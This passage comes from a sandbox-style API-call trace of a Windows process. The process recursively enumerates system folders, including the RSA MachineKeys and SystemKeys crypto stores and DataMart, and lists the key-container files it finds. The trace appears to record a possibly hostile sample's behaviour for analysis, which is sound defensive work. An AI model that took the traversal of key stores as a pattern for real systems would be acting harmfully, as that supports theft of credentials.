ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.853] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.853] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.853] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.853] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0209.853] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.854] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.854] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.854] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.854] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0209.854] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.855] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.855] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc70b72, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc70b72, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="4ECCD1~1")) returned 1 [0209.855] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.855] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.855] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0209.855] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.856] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc4a8a1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.856] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc70b72, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc70b72, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="4ECCD1~1")) returned 1 [0209.856] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc70b72, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xc70b72, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc70b72, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="4ECCD1~1")) returned 0 [0209.856] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.856] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2e [0209.856] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.857] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.857] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1fd8a841971dc8f18facf1d9475e3f87_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="1FD8A8~1")) returned 1 [0209.857] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.857] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2e [0209.858] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.858] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.858] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1fd8a841971dc8f18facf1d9475e3f87_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="1FD8A8~1")) returned 1 [0209.858] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1fd8a841971dc8f18facf1d9475e3f87_03845cb8-7441-4a2f-8c0f-c90408af5778", cAlternateFileName="1FD8A8~1")) returned 0 [0209.858] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x25 [0209.859] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*" (normalized: "c:\\users\\all users\\microsoft\\datamart\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.860] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.860] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0209.860] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0209.860] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x25 [0209.860] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*" (normalized: "c:\\users\\all users\\microsoft\\datamart\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.861] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.861] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0209.861] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.861] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2e [0209.862] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*" (normalized: "c:\\users\\all users\\microsoft\\datamart\\paidwifi\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.862] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.862] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.862] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2e [0209.863] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*" (normalized: "c:\\users\\all users\\microsoft\\datamart\\paidwifi\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.863] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.863] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.863] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.863] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0209.863] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, 